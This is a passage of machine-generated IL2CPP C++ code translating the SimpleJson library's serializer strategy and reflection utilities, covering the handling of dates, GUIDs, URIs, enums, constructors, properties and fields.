IDictionary_2_t3814930911_il2cpp_TypeInfo_var, L_38, L_41, L_46); } IL_00fe: { Il2CppObject* L_47 = V_5; NullCheck(L_47); bool L_48 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_47); if (L_48) { goto IL_00a4; } } IL_010a: { IL2CPP_LEAVE(0x11E, FINALLY_010f); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_010f; } FINALLY_010f: { // begin finally (depth: 1) { Il2CppObject* L_49 = V_5; if (!L_49) { goto IL_011d; } } IL_0116: { Il2CppObject* L_50 = V_5; NullCheck(L_50); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_50); } IL_011d: { IL2CPP_END_FINALLY(271) } } // end finally (depth: 1) IL2CPP_CLEANUP(271) { IL2CPP_JUMP_TBL(0x11E, IL_011e) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_011e: { Il2CppObject* L_51 = V_0; V_6 = L_51; goto IL_0126; } IL_0126: { Il2CppObject* L_52 = V_6; return L_52; } } // System.Boolean SimpleJson.PocoJsonSerializerStrategy::TrySerializeNonPrimitiveObject(System.Object,System.Object&) extern "C" bool PocoJsonSerializerStrategy_TrySerializeNonPrimitiveObject_m741807998 (PocoJsonSerializerStrategy_t2810850750 * __this, Il2CppObject * ___input0, Il2CppObject ** ___output1, const MethodInfo* method) { bool V_0 = false; int32_t G_B3_0 = 0; { Il2CppObject * L_0 = ___input0; Il2CppObject ** L_1 = ___output1; bool L_2 = VirtFuncInvoker2< bool, Il2CppObject *, Il2CppObject ** >::Invoke(11 /* System.Boolean SimpleJson.PocoJsonSerializerStrategy::TrySerializeKnownTypes(System.Object,System.Object&) */, __this, L_0, L_1); if (L_2) { goto IL_0018; } } { Il2CppObject * L_3 = ___input0; Il2CppObject ** L_4 = ___output1; bool L_5 = VirtFuncInvoker2< bool, Il2CppObject *, Il2CppObject ** >::Invoke(12 /* System.Boolean SimpleJson.PocoJsonSerializerStrategy::TrySerializeUnknownTypes(System.Object,System.Object&) */, __this, L_3, L_4); G_B3_0 = ((int32_t)(L_5)); goto IL_0019; } IL_0018: { G_B3_0 = 1; } IL_0019: { V_0 = (bool)G_B3_0; goto IL_001f; } IL_001f: { bool L_6 = V_0; return L_6; } } // System.Object SimpleJson.PocoJsonSerializerStrategy::SerializeEnum(System.Enum) extern "C" Il2CppObject * PocoJsonSerializerStrategy_SerializeEnum_m387099298 (PocoJsonSerializerStrategy_t2810850750 * __this, Enum_t2459695545 * ___p0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy_SerializeEnum_m387099298_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; { Enum_t2459695545 * L_0 = ___p0; IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_1 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Convert_t2607082565_il2cpp_TypeInfo_var); double L_2 = Convert_ToDouble_m574888941(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); double L_3 = L_2; Il2CppObject * L_4 = Box(Double_t4078015681_il2cpp_TypeInfo_var, &L_3); V_0 = L_4; goto IL_0017; } IL_0017: { Il2CppObject * L_5 = V_0; return L_5; } } // System.Boolean SimpleJson.PocoJsonSerializerStrategy::TrySerializeKnownTypes(System.Object,System.Object&) extern "C" bool PocoJsonSerializerStrategy_TrySerializeKnownTypes_m1354296985 (PocoJsonSerializerStrategy_t2810850750 * __this, Il2CppObject * ___input0, Il2CppObject ** ___output1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy_TrySerializeKnownTypes_m1354296985_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; DateTime_t693205669 V_1; memset(&V_1, 0, sizeof(V_1)); DateTime_t693205669 V_2; memset(&V_2, 0, sizeof(V_2)); DateTimeOffset_t1362988906 V_3; memset(&V_3, 0, sizeof(V_3)); DateTimeOffset_t1362988906 V_4; memset(&V_4, 0, sizeof(V_4)); Guid_t V_5; memset(&V_5, 0, sizeof(V_5)); Enum_t2459695545 * V_6 = NULL; bool V_7 = false; { V_0 = (bool)1; Il2CppObject * L_0 = ___input0; if (!((Il2CppObject *)IsInstSealed(L_0, DateTime_t693205669_il2cpp_TypeInfo_var))) { goto IL_0037; } } { Il2CppObject ** L_1 = ___output1; Il2CppObject * L_2 = ___input0; V_1 = ((*(DateTime_t693205669 *)((DateTime_t693205669 *)UnBox(L_2, DateTime_t693205669_il2cpp_TypeInfo_var)))); DateTime_t693205669 L_3 = DateTime_ToUniversalTime_m1815024752((&V_1), /*hidden argument*/NULL); V_2 = L_3; IL2CPP_RUNTIME_CLASS_INIT(PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var); StringU5BU5D_t1642385972* L_4 = ((PocoJsonSerializerStrategy_t2810850750_StaticFields*)PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var->static_fields)->get_Iso8601Format_5(); NullCheck(L_4); int32_t L_5 = 0; String_t* L_6 = (L_4)->GetAt(static_cast(L_5)); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_7 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_8 = DateTime_ToString_m2276663647((&V_2), L_6, L_7, /*hidden argument*/NULL); *((Il2CppObject **)(L_1)) = (Il2CppObject *)L_8; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_1), (Il2CppObject *)L_8); goto IL_00d1; } IL_0037: { Il2CppObject * L_9 = ___input0; if (!((Il2CppObject *)IsInstSealed(L_9, DateTimeOffset_t1362988906_il2cpp_TypeInfo_var))) { goto IL_006c; } } { Il2CppObject ** L_10 = ___output1; Il2CppObject * L_11 = ___input0; V_3 = ((*(DateTimeOffset_t1362988906 *)((DateTimeOffset_t1362988906 *)UnBox(L_11, DateTimeOffset_t1362988906_il2cpp_TypeInfo_var)))); DateTimeOffset_t1362988906 L_12 = DateTimeOffset_ToUniversalTime_m3836057040((&V_3), /*hidden argument*/NULL); V_4 = L_12; IL2CPP_RUNTIME_CLASS_INIT(PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var); StringU5BU5D_t1642385972* L_13 = ((PocoJsonSerializerStrategy_t2810850750_StaticFields*)PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var->static_fields)->get_Iso8601Format_5(); NullCheck(L_13); int32_t L_14 = 0; String_t* L_15 = (L_13)->GetAt(static_cast(L_14)); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_16 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_17 = DateTimeOffset_ToString_m2121173678((&V_4), L_15, L_16, /*hidden argument*/NULL); *((Il2CppObject **)(L_10)) = (Il2CppObject *)L_17; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_10), (Il2CppObject *)L_17); goto IL_00d1; } IL_006c: { Il2CppObject * L_18 = ___input0; if (!((Il2CppObject *)IsInstSealed(L_18, Guid_t_il2cpp_TypeInfo_var))) { goto IL_0092; } } { Il2CppObject ** L_19 = ___output1; Il2CppObject * L_20 = ___input0; V_5 = ((*(Guid_t *)((Guid_t *)UnBox(L_20, Guid_t_il2cpp_TypeInfo_var)))); String_t* L_21 = Guid_ToString_m51661589((&V_5), _stringLiteral372029402, /*hidden argument*/NULL); *((Il2CppObject **)(L_19)) = (Il2CppObject *)L_21; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_19), (Il2CppObject *)L_21); goto IL_00d1; } IL_0092: { Il2CppObject * L_22 = ___input0; if (!((Uri_t19570940 *)IsInstClass(L_22, Uri_t19570940_il2cpp_TypeInfo_var))) { goto IL_00aa; } } { Il2CppObject ** L_23 = ___output1; Il2CppObject * L_24 = ___input0; NullCheck(L_24); String_t* L_25 = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, L_24); *((Il2CppObject **)(L_23)) = (Il2CppObject *)L_25; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_23), (Il2CppObject *)L_25); goto IL_00d1; } IL_00aa: { Il2CppObject * L_26 = ___input0; V_6 = ((Enum_t2459695545 *)IsInstClass(L_26, Enum_t2459695545_il2cpp_TypeInfo_var)); Enum_t2459695545 * L_27 = V_6; if (!L_27) { goto IL_00c9; } } { Il2CppObject ** L_28 = ___output1; Enum_t2459695545 * L_29 = V_6; Il2CppObject * L_30 = VirtFuncInvoker1< Il2CppObject *, Enum_t2459695545 * >::Invoke(10 /* System.Object SimpleJson.PocoJsonSerializerStrategy::SerializeEnum(System.Enum) */, __this, L_29); *((Il2CppObject **)(L_28)) = (Il2CppObject *)L_30; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_28), (Il2CppObject *)L_30); goto IL_00d0; } IL_00c9: { V_0 = (bool)0; Il2CppObject ** L_31 = ___output1; *((Il2CppObject **)(L_31)) = (Il2CppObject *)NULL; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_31), (Il2CppObject *)NULL); } IL_00d0: { } IL_00d1: { bool L_32 = V_0; V_7 = L_32; goto IL_00d9; } IL_00d9: { bool L_33 = V_7; return L_33; } } // System.Boolean SimpleJson.PocoJsonSerializerStrategy::TrySerializeUnknownTypes(System.Object,System.Object&) extern "C" bool PocoJsonSerializerStrategy_TrySerializeUnknownTypes_m4062772870 (PocoJsonSerializerStrategy_t2810850750 * __this, Il2CppObject * ___input0, Il2CppObject ** ___output1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy_TrySerializeUnknownTypes_m4062772870_MetadataUsageId); s_Il2CppMethodInitialized = true; } Type_t * V_0 = NULL; bool V_1 = false; Il2CppObject* V_2 = NULL; Il2CppObject* V_3 = NULL; KeyValuePair_2_t24406117 V_4; memset(&V_4, 0, sizeof(V_4)); Il2CppObject* V_5 = NULL; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { Il2CppObject * L_0 = ___input0; if (L_0) { goto IL_0012; } } { ArgumentNullException_t628810857 * L_1 = (ArgumentNullException_t628810857 *)il2cpp_codegen_object_new(ArgumentNullException_t628810857_il2cpp_TypeInfo_var); ArgumentNullException__ctor_m3380712306(L_1, _stringLiteral748179678, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_1); } IL_0012: { Il2CppObject ** L_2 = ___output1; *((Il2CppObject **)(L_2)) = (Il2CppObject *)NULL; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_2), (Il2CppObject *)NULL); Il2CppObject * L_3 = ___input0; NullCheck(L_3); Type_t * L_4 = Object_GetType_m191970594(L_3, /*hidden argument*/NULL); V_0 = L_4; Type_t * L_5 = V_0; NullCheck(L_5); String_t* L_6 = VirtFuncInvoker0< String_t* >::Invoke(18 /* System.String System.Type::get_FullName() */, L_5); if (L_6) { goto IL_002e; } } { V_1 = (bool)0; goto IL_00b0; } IL_002e: { JsonObject_t2300545015 * L_7 = (JsonObject_t2300545015 *)il2cpp_codegen_object_new(JsonObject_t2300545015_il2cpp_TypeInfo_var); JsonObject__ctor_m2062444459(L_7, /*hidden argument*/NULL); V_2 = L_7; Il2CppObject* L_8 = __this->get_GetCache_1(); Type_t * L_9 = V_0; NullCheck(L_8); Il2CppObject* L_10 = InterfaceFuncInvoker1< Il2CppObject*, Type_t * >::Invoke(2 /* !1 System.Collections.Generic.IDictionary`2>::get_Item(!0) */, IDictionary_2_t202585634_il2cpp_TypeInfo_var, L_8, L_9); V_3 = L_10; Il2CppObject* L_11 = V_3; NullCheck(L_11); Il2CppObject* L_12 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(0 /* System.Collections.Generic.IEnumerator`1 System.Collections.Generic.IEnumerable`1>::GetEnumerator() */, IEnumerable_1_t316533162_il2cpp_TypeInfo_var, L_11); V_5 = L_12; } IL_004a: try { // begin try (depth: 1) { goto IL_0086; } IL_004f: { Il2CppObject* L_13 = V_5; NullCheck(L_13); KeyValuePair_2_t24406117 L_14 = InterfaceFuncInvoker0< KeyValuePair_2_t24406117 >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1>::get_Current() */, IEnumerator_1_t1794897240_il2cpp_TypeInfo_var, L_13); V_4 = L_14; GetDelegate_t352281633 * L_15 = KeyValuePair_2_get_Value_m360278047((&V_4), /*hidden argument*/KeyValuePair_2_get_Value_m360278047_MethodInfo_var); if (!L_15) { goto IL_0085; } } IL_0065: { Il2CppObject* L_16 = V_2; String_t* L_17 = KeyValuePair_2_get_Key_m4275643388((&V_4), /*hidden argument*/KeyValuePair_2_get_Key_m4275643388_MethodInfo_var); String_t* L_18 = VirtFuncInvoker1< String_t*, String_t* >::Invoke(5 /* System.String SimpleJson.PocoJsonSerializerStrategy::MapClrMemberNameToJsonFieldName(System.String) */, __this, L_17); GetDelegate_t352281633 * L_19 = KeyValuePair_2_get_Value_m360278047((&V_4), /*hidden argument*/KeyValuePair_2_get_Value_m360278047_MethodInfo_var); Il2CppObject * L_20 = ___input0; NullCheck(L_19); Il2CppObject * L_21 = GetDelegate_Invoke_m528436722(L_19, L_20, /*hidden argument*/NULL); NullCheck(L_16); InterfaceActionInvoker2< String_t*, Il2CppObject * >::Invoke(0 /* System.Void System.Collections.Generic.IDictionary`2::Add(!0,!1) */, IDictionary_2_t2603311978_il2cpp_TypeInfo_var, L_16, L_18, L_21); } IL_0085: { } IL_0086: { Il2CppObject* L_22 = V_5; NullCheck(L_22); bool L_23 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_22); if (L_23) { goto IL_004f; } } IL_0092: { IL2CPP_LEAVE(0xA6, FINALLY_0097); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_0097; } FINALLY_0097: { // begin finally (depth: 1) { Il2CppObject* L_24 = V_5; if (!L_24) { goto IL_00a5; } } IL_009e: { Il2CppObject* L_25 = V_5; NullCheck(L_25); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_25); } IL_00a5: { IL2CPP_END_FINALLY(151) } } // end finally (depth: 1) IL2CPP_CLEANUP(151) { IL2CPP_JUMP_TBL(0xA6, IL_00a6) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_00a6: { Il2CppObject ** L_26 = ___output1; Il2CppObject* L_27 = V_2; *((Il2CppObject **)(L_26)) = (Il2CppObject *)L_27; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_26), (Il2CppObject *)L_27); V_1 = (bool)1; goto IL_00b0; } IL_00b0: { bool L_28 = V_1; return L_28; } } // System.Void SimpleJson.PocoJsonSerializerStrategy::.cctor() extern "C" void PocoJsonSerializerStrategy__cctor_m3858986209 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (PocoJsonSerializerStrategy__cctor_m3858986209_MetadataUsageId); s_Il2CppMethodInitialized = true; } { ((PocoJsonSerializerStrategy_t2810850750_StaticFields*)PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var->static_fields)->set_EmptyTypes_3(((TypeU5BU5D_t1664964607*)SZArrayNew(TypeU5BU5D_t1664964607_il2cpp_TypeInfo_var, (uint32_t)0))); TypeU5BU5D_t1664964607* L_0 = ((TypeU5BU5D_t1664964607*)SZArrayNew(TypeU5BU5D_t1664964607_il2cpp_TypeInfo_var, (uint32_t)1)); IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_1 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Int32_t2071877448_0_0_0_var), /*hidden argument*/NULL); NullCheck(L_0); ArrayElementTypeCheck (L_0, L_1); (L_0)->SetAt(static_cast(0), (Type_t *)L_1); ((PocoJsonSerializerStrategy_t2810850750_StaticFields*)PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var->static_fields)->set_ArrayConstructorParameterTypes_4(L_0); StringU5BU5D_t1642385972* L_2 = ((StringU5BU5D_t1642385972*)SZArrayNew(StringU5BU5D_t1642385972_il2cpp_TypeInfo_var, (uint32_t)3)); NullCheck(L_2); ArrayElementTypeCheck (L_2, _stringLiteral3879389748); (L_2)->SetAt(static_cast(0), (String_t*)_stringLiteral3879389748); StringU5BU5D_t1642385972* L_3 = L_2; NullCheck(L_3); ArrayElementTypeCheck (L_3, _stringLiteral3846594588); (L_3)->SetAt(static_cast(1), (String_t*)_stringLiteral3846594588); StringU5BU5D_t1642385972* L_4 = L_3; NullCheck(L_4); ArrayElementTypeCheck (L_4, _stringLiteral87001591); (L_4)->SetAt(static_cast(2), (String_t*)_stringLiteral87001591); ((PocoJsonSerializerStrategy_t2810850750_StaticFields*)PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var->static_fields)->set_Iso8601Format_5(L_4); return; } } // System.Collections.Generic.IEnumerable`1 SimpleJson.Reflection.ReflectionUtils::GetConstructors(System.Type) extern "C" Il2CppObject* ReflectionUtils_GetConstructors_m2419931237 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, const MethodInfo* method) { Il2CppObject* V_0 = NULL; { Type_t * L_0 = ___type0; NullCheck(L_0); ConstructorInfoU5BU5D_t1996683371* L_1 = Type_GetConstructors_m52202211(L_0, /*hidden argument*/NULL); V_0 = (Il2CppObject*)L_1; goto IL_000d; } IL_000d: { Il2CppObject* L_2 = V_0; return L_2; } } // System.Reflection.ConstructorInfo SimpleJson.Reflection.ReflectionUtils::GetConstructorInfo(System.Type,System.Type[]) extern "C" ConstructorInfo_t2851816542 * ReflectionUtils_GetConstructorInfo_m577110104 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, TypeU5BU5D_t1664964607* ___argsType1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetConstructorInfo_m577110104_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject* V_0 = NULL; int32_t V_1 = 0; bool V_2 = false; ConstructorInfo_t2851816542 * V_3 = NULL; Il2CppObject* V_4 = NULL; ParameterInfoU5BU5D_t2275869610* V_5 = NULL; ParameterInfo_t2249040075 * V_6 = NULL; ParameterInfoU5BU5D_t2275869610* V_7 = NULL; int32_t V_8 = 0; ConstructorInfo_t2851816542 * V_9 = NULL; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { Type_t * L_0 = ___type0; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); Il2CppObject* L_1 = ReflectionUtils_GetConstructors_m2419931237(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; Il2CppObject* L_2 = V_0; NullCheck(L_2); Il2CppObject* L_3 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(0 /* System.Collections.Generic.IEnumerator`1 System.Collections.Generic.IEnumerable`1::GetEnumerator() */, IEnumerable_1_t3143943587_il2cpp_TypeInfo_var, L_2); V_4 = L_3; } IL_0011: try { // begin try (depth: 1) { goto IL_008d; } IL_0016: { Il2CppObject* L_4 = V_4; NullCheck(L_4); ConstructorInfo_t2851816542 * L_5 = InterfaceFuncInvoker0< ConstructorInfo_t2851816542 * >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1::get_Current() */, IEnumerator_1_t327340369_il2cpp_TypeInfo_var, L_4); V_3 = L_5; ConstructorInfo_t2851816542 * L_6 = V_3; NullCheck(L_6); ParameterInfoU5BU5D_t2275869610* L_7 = VirtFuncInvoker0< ParameterInfoU5BU5D_t2275869610* >::Invoke(14 /* System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() */, L_6); V_5 = L_7; TypeU5BU5D_t1664964607* L_8 = ___argsType1; NullCheck(L_8); ParameterInfoU5BU5D_t2275869610* L_9 = V_5; NullCheck(L_9); if ((((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_8)->max_length))))) == ((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_9)->max_length))))))) { goto IL_0038; } } IL_0033: { goto IL_008d; } IL_0038: { V_1 = 0; V_2 = (bool)1; ConstructorInfo_t2851816542 * L_10 = V_3; NullCheck(L_10); ParameterInfoU5BU5D_t2275869610* L_11 = VirtFuncInvoker0< ParameterInfoU5BU5D_t2275869610* >::Invoke(14 /* System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() */, L_10); V_7 = L_11; V_8 = 0; goto IL_0073; } IL_004d: { ParameterInfoU5BU5D_t2275869610* L_12 = V_7; int32_t L_13 = V_8; NullCheck(L_12); int32_t L_14 = L_13; ParameterInfo_t2249040075 * L_15 = (L_12)->GetAt(static_cast(L_14)); V_6 = L_15; ParameterInfo_t2249040075 * L_16 = V_6; NullCheck(L_16); Type_t * L_17 = VirtFuncInvoker0< Type_t * >::Invoke(6 /* System.Type System.Reflection.ParameterInfo::get_ParameterType() */, L_16); TypeU5BU5D_t1664964607* L_18 = ___argsType1; int32_t L_19 = V_1; NullCheck(L_18); int32_t L_20 = L_19; Type_t * L_21 = (L_18)->GetAt(static_cast(L_20)); if ((((Il2CppObject*)(Type_t *)L_17) == ((Il2CppObject*)(Type_t *)L_21))) { goto IL_006c; } } IL_0064: { V_2 = (bool)0; goto IL_007e; } IL_006c: { int32_t L_22 = V_8; V_8 = ((int32_t)((int32_t)L_22+(int32_t)1)); } IL_0073: { int32_t L_23 = V_8; ParameterInfoU5BU5D_t2275869610* L_24 = V_7; NullCheck(L_24); if ((((int32_t)L_23) < ((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_24)->max_length))))))) { goto IL_004d; } } IL_007e: { bool L_25 = V_2; if (!L_25) { goto IL_008c; } } IL_0084: { ConstructorInfo_t2851816542 * L_26 = V_3; V_9 = L_26; IL2CPP_LEAVE(0xB5, FINALLY_009e); } IL_008c: { } IL_008d: { Il2CppObject* L_27 = V_4; NullCheck(L_27); bool L_28 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_27); if (L_28) { goto IL_0016; } } IL_0099: { IL2CPP_LEAVE(0xAD, FINALLY_009e); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_009e; } FINALLY_009e: { // begin finally (depth: 1) { Il2CppObject* L_29 = V_4; if (!L_29) { goto IL_00ac; } } IL_00a5: { Il2CppObject* L_30 = V_4; NullCheck(L_30); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_30); } IL_00ac: { IL2CPP_END_FINALLY(158) } } // end finally (depth: 1) IL2CPP_CLEANUP(158) { IL2CPP_JUMP_TBL(0xB5, IL_00b5) IL2CPP_JUMP_TBL(0xAD, IL_00ad) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_00ad: { V_9 = (ConstructorInfo_t2851816542 *)NULL; goto IL_00b5; } IL_00b5: { ConstructorInfo_t2851816542 * L_31 = V_9; return L_31; } } // System.Collections.Generic.IEnumerable`1 SimpleJson.Reflection.ReflectionUtils::GetProperties(System.Type) extern "C" Il2CppObject* ReflectionUtils_GetProperties_m1086308370 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, const MethodInfo* method) { Il2CppObject* V_0 = NULL; { Type_t * L_0 = ___type0; NullCheck(L_0); PropertyInfoU5BU5D_t1736152084* L_1 = VirtFuncInvoker1< PropertyInfoU5BU5D_t1736152084*, int32_t >::Invoke(54 /* System.Reflection.PropertyInfo[] System.Type::GetProperties(System.Reflection.BindingFlags) */, L_0, ((int32_t)60)); V_0 = (Il2CppObject*)L_1; goto IL_000f; } IL_000f: { Il2CppObject* L_2 = V_0; return L_2; } } // System.Collections.Generic.IEnumerable`1 SimpleJson.Reflection.ReflectionUtils::GetFields(System.Type) extern "C" Il2CppObject* ReflectionUtils_GetFields_m771042561 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, const MethodInfo* method) { Il2CppObject* V_0 = NULL; { Type_t * L_0 = ___type0; NullCheck(L_0); FieldInfoU5BU5D_t125053523* L_1 = VirtFuncInvoker1< FieldInfoU5BU5D_t125053523*, int32_t >::Invoke(46 /* System.Reflection.FieldInfo[] System.Type::GetFields(System.Reflection.BindingFlags) */, L_0, ((int32_t)60)); V_0 = (Il2CppObject*)L_1; goto IL_000f; } IL_000f: { Il2CppObject* L_2 = V_0; return L_2; } } // System.Reflection.MethodInfo SimpleJson.Reflection.ReflectionUtils::GetGetterMethodInfo(System.Reflection.PropertyInfo) extern "C" MethodInfo_t * ReflectionUtils_GetGetterMethodInfo_m1539519564 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) { MethodInfo_t * V_0 = NULL; { PropertyInfo_t * L_0 = ___propertyInfo0; NullCheck(L_0); MethodInfo_t * L_1 = VirtFuncInvoker1< MethodInfo_t *, bool >::Invoke(19 /* System.Reflection.MethodInfo System.Reflection.PropertyInfo::GetGetMethod(System.Boolean) */, L_0, (bool)1); V_0 = L_1; goto IL_000e; } IL_000e: { MethodInfo_t * L_2 = V_0; return L_2; } } // System.Reflection.MethodInfo SimpleJson.Reflection.ReflectionUtils::GetSetterMethodInfo(System.Reflection.PropertyInfo) extern "C" MethodInfo_t * ReflectionUtils_GetSetterMethodInfo_m1933298824 (Il2CppObject * __this /* static, unused */, PropertyInfo_t * ___propertyInfo0, const MethodInfo* method) { MethodInfo_t * V_0 = NULL; { PropertyInfo_t * L_0 = ___propertyInfo0; NullCheck(L_0); MethodInfo_t * L_1 = VirtFuncInvoker1< MethodInfo_t *, bool >::Invoke(21 /* System.Reflection.MethodInfo System.Reflection.PropertyInfo::GetSetMethod(System.Boolean) */, L_0, (bool)1); V_0 = L_1; goto IL_000e; } IL_000e: { MethodInfo_t * L_2 = V_0; return L_2; } } // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate SimpleJson.Reflection.ReflectionUtils::GetContructor(System.Type,System.Type[]) extern "C" ConstructorDelegate_t3084043859 * ReflectionUtils_GetContructor_m2213599410 (Il2CppObject * __this /* static, unused */, Type_t * ___type0, TypeU5BU5D_t1664964607* ___argsType1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetContructor_m2213599410_MetadataUsageId); s_Il2CppMethodInitialized = true; } ConstructorDelegate_t3084043859 * V_0 = NULL; { Type_t * L_0 = ___type0; TypeU5BU5D_t1664964607* L_1 = ___argsType1; IL2CPP_RUNTIME_CLASS_INIT(ReflectionUtils_t3032483338_il2cpp_TypeInfo_var); ConstructorDelegate_t3084043859 * L_2 = ReflectionUtils_GetConstructorByReflection_m2587709881(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000e; } IL_000e: { ConstructorDelegate_t3084043859 * L_3 = V_0; return L_3; } } // SimpleJson.Reflection.ReflectionUtils/ConstructorDelegate SimpleJson.Reflection.ReflectionUtils::GetConstructorByReflection(System.Reflection.ConstructorInfo) extern "C" ConstructorDelegate_t3084043859 * ReflectionUtils_GetConstructorByReflection_m2214455175 (Il2CppObject * __this /* static, unused */, ConstructorInfo_t2851816542 * ___constructorInfo0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ReflectionUtils_GetConstructorByReflection_m2214455175_MetadataUsageId); s_Il2CppMethodInitialized = true; } U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 * V_0 = NULL; ConstructorDelegate_t3084043859 * V_1 = NULL; { U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 * L_0 = (U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 *)il2cpp_codegen_object_new(U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979_il2cpp_TypeInfo_var); U3CGetConstructorByReflectionU3Ec__AnonStorey0__ctor_m1324197711(L_0, /*hidden argument*/NULL); V_0 = L_0; U3CGetConstructorByReflectionU3Ec__AnonStorey0_t2768820979 * L_1 = V_0; ConstructorInfo_t2851816542 * L_2 = 